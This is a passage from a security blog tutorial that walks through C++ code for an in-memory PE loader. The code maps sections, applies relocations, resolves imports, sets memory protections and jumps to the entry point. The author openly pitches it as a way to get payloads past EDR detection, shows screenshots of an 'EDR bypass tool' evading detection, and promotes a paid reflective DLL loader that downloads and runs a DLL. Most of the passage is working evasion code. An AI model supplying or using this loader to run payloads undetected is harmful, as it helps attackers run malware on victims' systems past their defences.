     <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Mapping section "</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="s">" ("</span> <span class="o">&lt;&lt;</span> <span class="n">sectionName</span> <span class="o">&lt;&lt;</span> <span class="s">"):</span><span class="se">\n</span><span class="s">"</span>
         <span class="o">&lt;&lt;</span> <span class="s">"  - Source offset in file: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">section</span><span class="o">-&gt;</span><span class="n">PointerToRawData</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span>
         <span class="o">&lt;&lt;</span> <span class="s">"  - Destination address: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">dest</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span>
         <span class="o">&lt;&lt;</span> <span class="s">"  - Size: "</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">section</span><span class="o">-&gt;</span><span class="n">SizeOfRawData</span> <span class="o">&lt;&lt;</span> <span class="s">" bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>

     <span class="c1">// Copy section data</span>
     <span class="n">memcpy</span><span class="p">(</span><span class="n">dest</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">section</span><span class="o">-&gt;</span><span class="n">SizeOfRawData</span><span class="p">);</span>

     <span class="c1">// Confirm mapping</span>
     <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Section "</span> <span class="o">&lt;&lt;</span> <span class="n">sectionName</span> <span class="o">&lt;&lt;</span> <span class="s">" mapped successfully.</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
 <span class="p">}</span>
</code></pre></div></div>

<p>This code snippet maps the sections of our 64-bit PE file using our raw data buffer (<code class="language-plaintext highlighter-rouge">fileBuffer</code>) into allocated memory (<code class="language-plaintext highlighter-rouge">imageBase</code>) to prepare for in-memory execution without writing it to disk. Specifically, we iterate through each section header in the PE file, as defined by the number of sections in the NT headers, and then we will copy each section’s raw data from its file offset (<code class="language-plaintext highlighter-rouge">PointerToRawData</code>) in <code class="language-plaintext highlighter-rouge">fileBuffer</code> to its designated memory location (<code class="language-plaintext highlighter-rouge">imageBase + VirtualAddress</code>) using memcpy. This process ensures our PE file’s sections (e.g., .text for code, .data for initialized data, etc) are laid out in memory according to their virtual addresses, emulating the structure the Windows loader would normally create, which is important for subsequent tasks like resolving imports, applying relocations, and executing the program.</p>

<p>In the screenshot below, you can see what this looks like when we map putty.exe’s sections into memory:</p>

<p><img width="1471" height="608" alt="image" src="https://github.com/user-attachments/assets/e28e3c3d-fd05-417a-8c37-758b1861f3bd" /></p>

<h2 id="applying-relocations-if-necessary"><strong><em>Applying Relocations (If Necessary)</em></strong></h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">ULONGLONG</span> <span class="n">delta</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)(</span><span class="n">imageBase</span> <span class="o">-</span> <span class="n">ntHeaders</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">ImageBase</span><span class="p">);</span>
 <span class="k">if</span> <span class="p">(</span><span class="n">delta</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">PIMAGE_DATA_DIRECTORY</span> <span class="n">relocDir</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ntHeaders</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">DataDirectory</span><span class="p">[</span><span class="n">IMAGE_DIRECTORY_ENTRY_BASERELOC</span><span class="p">];</span>
     <span class="k">if</span> <span class="p">(</span><span class="n">relocDir</span><span class="o">-&gt;</span><span class="n">Size</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
         <span class="n">BYTE</span><span class="o">*</span> <span class="n">relocBase</span> <span class="o">=</span> <span class="n">imageBase</span> <span class="o">+</span> <span class="n">relocDir</span><span class="o">-&gt;</span><span class="n">VirtualAddress</span><span class="p">;</span>
         <span class="n">DWORD</span> <span class="n">parsed</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
         <span class="k">while</span> <span class="p">(</span><span class="n">parsed</span> <span class="o">&lt;</span> <span class="n">relocDir</span><span class="o">-&gt;</span><span class="n">Size</span><span class="p">)</span> <span class="p">{</span>
             <span class="n">PIMAGE_BASE_RELOCATION</span> <span class="n">relocBlock</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_BASE_RELOCATION</span><span class="p">)(</span><span class="n">relocBase</span> <span class="o">+</span> <span class="n">parsed</span><span class="p">);</span>
             <span class="n">DWORD</span> <span class="n">blockSize</span> <span class="o">=</span> <span class="n">relocBlock</span><span class="o">-&gt;</span><span class="n">SizeOfBlock</span><span class="p">;</span>
             <span class="n">DWORD</span> <span class="n">numEntries</span> <span class="o">=</span> <span class="p">(</span><span class="n">blockSize</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">IMAGE_BASE_RELOCATION</span><span class="p">))</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">USHORT</span><span class="p">);</span>
             <span class="n">USHORT</span><span class="o">*</span> <span class="n">entries</span> <span class="o">=</span> <span class="p">(</span><span class="n">USHORT</span><span class="o">*</span><span class="p">)(</span><span class="n">relocBlock</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>

             <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numEntries</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
                 <span class="n">USHORT</span> <span class="n">typeOffset</span> <span class="o">=</span> <span class="n">entries</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
                 <span class="n">USHORT</span> <span class="n">type</span> <span class="o">=</span> <span class="n">typeOffset</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span><span class="p">;</span>
                 <span class="n">USHORT</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">typeOffset</span> <span class="o">&amp;</span> <span class="mh">0x0FFF</span><span class="p">;</span>

                 <span class="k">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">==</span> <span class="n">IMAGE_REL_BASED_DIR64</span><span class="p">)</span> <span class="p">{</span>
                     <span class="n">ULONGLONG</span><span class="o">*</span> <span class="n">patchAddr</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="o">*</span><span class="p">)(</span><span class="n">imageBase</span> <span class="o">+</span> <span class="n">relocBlock</span><span class="o">-&gt;</span><span class="n">VirtualAddress</span> <span class="o">+</span> <span class="n">offset</span><span class="p">);</span>
                     <span class="o">*</span><span class="n">patchAddr</span> <span class="o">+=</span> <span class="n">delta</span><span class="p">;</span>
                 <span class="p">}</span>
             <span class="p">}</span>
             <span class="n">parsed</span> <span class="o">+=</span> <span class="n">blockSize</span><span class="p">;</span>
         <span class="p">}</span>
     <span class="p">}</span>
 <span class="p">}</span>
</code></pre></div></div>

<p>This portion of our PE loader code applies base relocations to our PE file loaded into memory at <code class="language-plaintext highlighter-rouge">imageBase</code>, ensuring that it functions correctly if allocated at a different address than its preferred base address (<code class="language-plaintext highlighter-rouge">ntHeaders-&gt;OptionalHeader.ImageBase</code>). We calculate the delta between the actual memory address (<code class="language-plaintext highlighter-rouge">imageBase</code>) and the PE file’s preferred base address. If the delta is non-zero and the PE file contains a relocation table (indicated by <code class="language-plaintext highlighter-rouge">relocDir-&gt;Size &gt; 0</code>), the code processes the relocation directory (<code class="language-plaintext highlighter-rouge">IMAGE_DIRECTORY_ENTRY_BASERELOC</code>). It iterates through relocation blocks, each containing a list of entries specifying offsets and types. For each entry with type <code class="language-plaintext highlighter-rouge">IMAGE_REL_BASED_DIR64</code> (indicating a 64-bit address relocation), it adjusts the memory address at <code class="language-plaintext highlighter-rouge">imageBase + VirtualAddress + offset</code> by adding the delta, effectively updating pointers in the PE image to reflect its actual memory location.</p>

<h2 id="resolving-imports"><strong><em>Resolving Imports</em></strong></h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">PIMAGE_DATA_DIRECTORY</span> <span class="n">importDir</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ntHeaders</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">DataDirectory</span><span class="p">[</span><span class="n">IMAGE_DIRECTORY_ENTRY_IMPORT</span><span class="p">];</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Import directory: VirtualAddress=0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">importDir</span><span class="o">-&gt;</span><span class="n">VirtualAddress</span>
        <span class="o">&lt;&lt;</span> <span class="s">", Size="</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">importDir</span><span class="o">-&gt;</span><span class="n">Size</span> <span class="o">&lt;&lt;</span> <span class="s">" bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">importDir</span><span class="o">-&gt;</span><span class="n">Size</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">PIMAGE_IMPORT_DESCRIPTOR</span> <span class="n">importDesc</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_IMPORT_DESCRIPTOR</span><span class="p">)(</span><span class="n">imageBase</span> <span class="o">+</span> <span class="n">importDir</span><span class="o">-&gt;</span><span class="n">VirtualAddress</span><span class="p">);</span>
        <span class="k">while</span> <span class="p">(</span><span class="n">importDesc</span><span class="o">-&gt;</span><span class="n">Name</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="kt">char</span><span class="o">*</span> <span class="n">dllName</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">imageBase</span> <span class="o">+</span> <span class="n">importDesc</span><span class="o">-&gt;</span><span class="n">Name</span><span class="p">);</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Loading DLL: "</span> <span class="o">&lt;&lt;</span> <span class="n">dllName</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
            <span class="n">HMODULE</span> <span class="n">hModule</span> <span class="o">=</span> <span class="n">LoadLibraryA</span><span class="p">(</span><span class="n">dllName</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hModule</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[!] Failed to load "</span> <span class="o">&lt;&lt;</span> <span class="n">dllName</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
                <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] DLL "</span> <span class="o">&lt;&lt;</span> <span class="n">dllName</span> <span class="o">&lt;&lt;</span> <span class="s">" loaded successfully at handle 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">hModule</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>

            <span class="n">PIMAGE_THUNK_DATA64</span> <span class="n">origFirstThunk</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_THUNK_DATA64</span><span class="p">)(</span><span class="n">imageBase</span> <span class="o">+</span> <span class="n">importDesc</span><span class="o">-&gt;</span><span class="n">OriginalFirstThunk</span><span class="p">);</span>
            <span class="n">PIMAGE_THUNK_DATA64</span> <span class="n">firstThunk</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_THUNK_DATA64</span><span class="p">)(</span><span class="n">imageBase</span> <span class="o">+</span> <span class="n">importDesc</span><span class="o">-&gt;</span><span class="n">FirstThunk</span><span class="p">);</span>

            <span class="kt">int</span> <span class="n">functionCount</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
            <span class="k">while</span> <span class="p">(</span><span class="n">origFirstThunk</span><span class="o">-&gt;</span><span class="n">u1</span><span class="p">.</span><span class="n">AddressOfData</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">FARPROC</span> <span class="n">proc</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">origFirstThunk</span><span class="o">-&gt;</span><span class="n">u1</span><span class="p">.</span><span class="n">Ordinal</span> <span class="o">&amp;</span> <span class="n">IMAGE_ORDINAL_FLAG64</span><span class="p">)</span> <span class="p">{</span>
                    <span class="n">WORD</span> <span class="n">ordinal</span> <span class="o">=</span> <span class="n">origFirstThunk</span><span class="o">-&gt;</span><span class="n">u1</span><span class="p">.</span><span class="n">Ordinal</span> <span class="o">&amp;</span> <span class="mh">0xFFFF</span><span class="p">;</span>
                    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Resolving function by ordinal: #"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">ordinal</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
                    <span class="n">proc</span> <span class="o">=</span> <span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hModule</span><span class="p">,</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)</span><span class="n">ordinal</span><span class="p">);</span>
                <span class="p">}</span>
                <span class="k">else</span> <span class="p">{</span>
                    <span class="n">PIMAGE_IMPORT_BY_NAME</span> <span class="n">importByName</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_IMPORT_BY_NAME</span><span class="p">)(</span><span class="n">imageBase</span> <span class="o">+</span> <span class="n">origFirstThunk</span><span class="o">-&gt;</span><span class="n">u1</span><span class="p">.</span><span class="n">AddressOfData</span><span class="p">);</span>
                    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Resolving function by name: "</span> <span class="o">&lt;&lt;</span> <span class="n">importByName</span><span class="o">-&gt;</span><span class="n">Name</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
                    <span class="n">proc</span> <span class="o">=</span> <span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hModule</span><span class="p">,</span> <span class="n">importByName</span><span class="o">-&gt;</span><span class="n">Name</span><span class="p">);</span>
                <span class="p">}</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">proc</span><span class="p">)</span> <span class="p">{</span>
                    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Function resolved, address: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">proc</span><span class="p">)</span>
                        <span class="o">&lt;&lt;</span> <span class="s">", writing to IAT at 0x"</span> <span class="o">&lt;&lt;</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">firstThunk</span><span class="o">-&gt;</span><span class="n">u1</span><span class="p">.</span><span class="n">Function</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
                    <span class="n">firstThunk</span><span class="o">-&gt;</span><span class="n">u1</span><span class="p">.</span><span class="n">Function</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">proc</span><span class="p">;</span>
                    <span class="n">functionCount</span><span class="o">++</span><span class="p">;</span>
                <span class="p">}</span>
                <span class="k">else</span> <span class="p">{</span>
                    <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[!] Failed to resolve function</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
                <span class="p">}</span>
                <span class="o">++</span><span class="n">origFirstThunk</span><span class="p">;</span>
                <span class="o">++</span><span class="n">firstThunk</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Resolved "</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">functionCount</span> <span class="o">&lt;&lt;</span> <span class="s">" functions for DLL "</span> <span class="o">&lt;&lt;</span> <span class="n">dllName</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
            <span class="o">++</span><span class="n">importDesc</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] All imports resolved successfully.</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] No imports to resolve (import directory empty).</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>We’re finally making our way to the finish line with our PE loader!  In this fairly large section of code (sorry about that, but I need me some cout « 😸), we will be resolving all the imports of our 64-bit PE file by processing its import directory to load required DLLs and their functions into memory. We start by accessesing the import directory (<code class="language-plaintext highlighter-rouge">IMAGE_DIRECTORY_ENTRY_IMPORT</code>) from our PE’s NT headers, and if it exists (<code class="language-plaintext highlighter-rouge">importDir-&gt;Size &gt; 0</code>), we iterate through import descriptors. For each descriptor, we will load the specified DLL using <code class="language-plaintext highlighter-rouge">LoadLibraryA</code> and retrieve function addresses from the DLL using <code class="language-plaintext highlighter-rouge">GetProcAddress</code>, either by ordinal (if the import is by ordinal) or by name (using <code class="language-plaintext highlighter-rouge">PIMAGE_IMPORT_BY_NAME</code>). These addresses are written to the Import Address Table (IAT) at <code class="language-plaintext highlighter-rouge">firstThunk</code>, ensuring the PE file can call the required external functions. The process continues until all imports for each DLL are resolved, returning false if any DLL fails to load.  That’s it in a nutshell!</p>

<p>Here’s what this looks like when the program is running:</p>

<p><img width="1043" height="405" alt="image" src="https://github.com/user-attachments/assets/65a1d8d8-611b-4d98-a6f3-1fcf6979c46e" /></p>

<h2 id="section-memory-protection-adjustments--calling-the-entry-point"><strong><em>Section Memory Protection Adjustments &amp; Calling The Entry Point</em></strong></h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">section</span> <span class="o">=</span> <span class="n">IMAGE_FIRST_SECTION</span><span class="p">(</span><span class="n">ntHeaders</span><span class="p">);</span>
 <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ntHeaders</span><span class="o">-&gt;</span><span class="n">FileHeader</span><span class="p">.</span><span class="n">NumberOfSections</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">,</span> <span class="o">++</span><span class="n">section</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">DWORD</span> <span class="n">protect</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
     <span class="k">if</span> <span class="p">(</span><span class="n">section</span><span class="o">-&gt;</span><span class="n">Characteristics</span> <span class="o">&amp;</span> <span class="n">IMAGE_SCN_MEM_EXECUTE</span><span class="p">)</span> <span class="p">{</span>
         <span class="k">if</span> <span class="p">(</span><span class="n">section</span><span class="o">-&gt;</span><span class="n">Characteristics</span> <span class="o">&amp;</span> <span class="n">IMAGE_SCN_MEM_READ</span><span class="p">)</span> <span class="n">protect</span> <span class="o">=</span> <span class="n">PAGE_EXECUTE_READ</span><span class="p">;</span>
         <span class="k">if</span> <span class="p">(</span><span class="n">section</span><span class="o">-&gt;</span><span class="n">Characteristics</span> <span class="o">&amp;</span> <span class="n">IMAGE_SCN_MEM_WRITE</span><span class="p">)</span> <span class="n">protect</span> <span class="o">=</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">;</span>
     <span class="p">}</span>
     <span class="k">else</span> <span class="p">{</span>
         <span class="k">if</span> <span class="p">(</span><span class="n">section</span><span class="o">-&gt;</span><span class="n">Characteristics</span> <span class="o">&amp;</span> <span class="n">IMAGE_SCN_MEM_READ</span><span class="p">)</span> <span class="n">protect</span> <span class="o">=</span> <span class="n">PAGE_READONLY</span><span class="p">;</span>
         <span class="k">if</span> <span class="p">(</span><span class="n">section</span><span class="o">-&gt;</span><span class="n">Characteristics</span> <span class="o">&amp;</span> <span class="n">IMAGE_SCN_MEM_WRITE</span><span class="p">)</span> <span class="n">protect</span> <span class="o">=</span> <span class="n">PAGE_READWRITE</span><span class="p">;</span>
     <span class="p">}</span>
     <span class="n">DWORD</span> <span class="n">oldProtect</span><span class="p">;</span>
     <span class="n">VirtualProtect</span><span class="p">(</span><span class="n">imageBase</span> <span class="o">+</span> <span class="n">section</span><span class="o">-&gt;</span><span class="n">VirtualAddress</span><span class="p">,</span> <span class="n">section</span><span class="o">-&gt;</span><span class="n">Misc</span><span class="p">.</span><span class="n">VirtualSize</span><span class="p">,</span> <span class="n">protect</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">oldProtect</span><span class="p">);</span>
 <span class="p">}</span>

 <span class="c1">// Call entry point</span>
 <span class="n">DWORD_PTR</span> <span class="n">entry</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD_PTR</span><span class="p">)</span><span class="n">imageBase</span> <span class="o">+</span> <span class="n">ntHeaders</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">AddressOfEntryPoint</span><span class="p">;</span>
 <span class="k">auto</span> <span class="n">entryPoint</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">entry</span><span class="p">;</span>
 <span class="n">entryPoint</span><span class="p">();</span>

 <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</code></pre></div></div>

<p>As we close out the remaining pieces of code for our PE loader, we finally make it to the portion of code that sets the appropriate memory protections based on each section’s characteristics.</p>

<p>In short, we will need to iterate through each of our PE’s file sections, starting from the first section header (<code class="language-plaintext highlighter-rouge">IMAGE_FIRST_SECTION(ntHeaders</code>)), to set appropriate memory protections based on each section’s characteristics. For each of the <code class="language-plaintext highlighter-rouge">ntHeaders-&gt;FileHeader.NumberOfSections</code> sections, we check the section’s flags (<code class="language-plaintext highlighter-rouge">section-&gt;Characteristics</code>). If the section is executable (<code class="language-plaintext highlighter-rouge">IMAGE_SCN_MEM_EXECUTE</code>), we assign <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READ</code>, <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code> if writable, and so on. For non-executable sections, we simply assign <code class="language-plaintext highlighter-rouge">PAGE_READONLY</code> or <code class="language-plaintext highlighter-rouge">PAGE_READWRITE</code>. Next comes the VirtualProtect function, which applies the chosen protection to the memory region specified at <code class="language-plaintext highlighter-rouge">imageBase + section-&gt;VirtualAddress</code> with size <code class="language-plaintext highlighter-rouge">section-&gt;Misc.VirtualSize</code>, storing the previous protection in oldProtect. This ensures each section (e.g., .text for code, .data for variables) has the correct permissions for execution. 😺</p>

<p>Lastly, we need to call our loaded PE’s entry point. We calculate our PE’s entry point memory address as <code class="language-plaintext highlighter-rouge">imageBase + ntHeaders-&gt;OptionalHeader.AddressOfEntryPoint</code>, where <code class="language-plaintext highlighter-rouge">imageBase</code> is the base address of our loaded PE image and <code class="language-plaintext highlighter-rouge">AddressOfEntryPoint</code> is the offset to our PE Loader program’s starting function.</p>

<h2 id="bring-it-all-together-and-make-things-happen"><strong><em>Bring it all together and make things Happen!</em></strong></h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Loading PE in memory...</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
   
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">LoadPEInMemory</span><span class="p">())</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[!] Failed to load PE</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Oh you know what this code does 😸  I don’t even need to explain.  But I will show a screenshot!</p>

<p><img width="1277" height="986" alt="image" src="https://github.com/user-attachments/assets/2d924db5-3486-43cf-b564-8ca860d3935d" /></p>

<p>We did it!  So, take this code (full source code below) and try it yourself with various PE executables.  I have folks reach out to me often wondering about why their particular payload was detected by EDR.  I almost always inevitably end up encouraging them to use a PE loader, especially in memory pe loader. It really tends to help dissuade EDR detections from taking action more often than you’d think.</p>

<p><strong>Example using a known EDR bypass tool that should be detected</strong></p>

<p><img width="1314" height="744" alt="image" src="https://github.com/user-attachments/assets/40005fb2-2bc0-46b2-9cb3-d21638685694" /></p>

<p><strong>And without using the PE Loader:</strong></p>

<p><img width="399" height="485" alt="image" src="https://github.com/user-attachments/assets/0c6e1811-e8a6-4dbf-b75e-2565a321f3d6" /></p>

<p><strong>Disclaimer</strong>: Because I know someone will say IT DIDN’T WORK!  EDR DETECTED IT!  Yeah, it happens.  I’m not certifying this as foolproof FUD.  In fact I’ll readily admit running this 10-20 times in a row will likely trip up EDR with an AI!ML alert because EDR solutions have AI intelligence built in these days.  It will eventually get caught if you’re continually running it, or at least I’d assume it would eventually catch it. 😄</p>

<h2 id="-bonus-content-for-subscribers-in-memory-pe-loader-for-dlls--reflective-dll-loader">🔒 Bonus Content for Subscribers (In-Memory PE loader for DLLs / Reflective DLL Loader!)</h2>

<blockquote>
  <p>Description: This code will download a DLL from a location you specify, similar to today’s post, and reflectively load/execute it in memory!  In this case, it’s a DLL instead of an EXE. 😸</p>
</blockquote>

<p>🗒️ <a href="https://ko-fi.com/s/7e66117e37">Access Code Here</a> 🗒️</p>

<hr />

<p>Until next time! Later dudes and dudettes 😺</p>

<p>Source code: <a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2025-9-23-Bypassing%20EDR%20using%20an%20In-Memory%20PE%20Loader">PE LOADER FULL SOURCE CODE</a></p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><img width="1038" height="858" alt="image" src="https://github.com/user-attachments/assets/dd821301-4df7-402a-9617-dad5cbfe9f55" /></p>

<p><a href="https://app.any.run/tasks/9a8f5f38-1334-418d-84ef-a63d4808a209">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
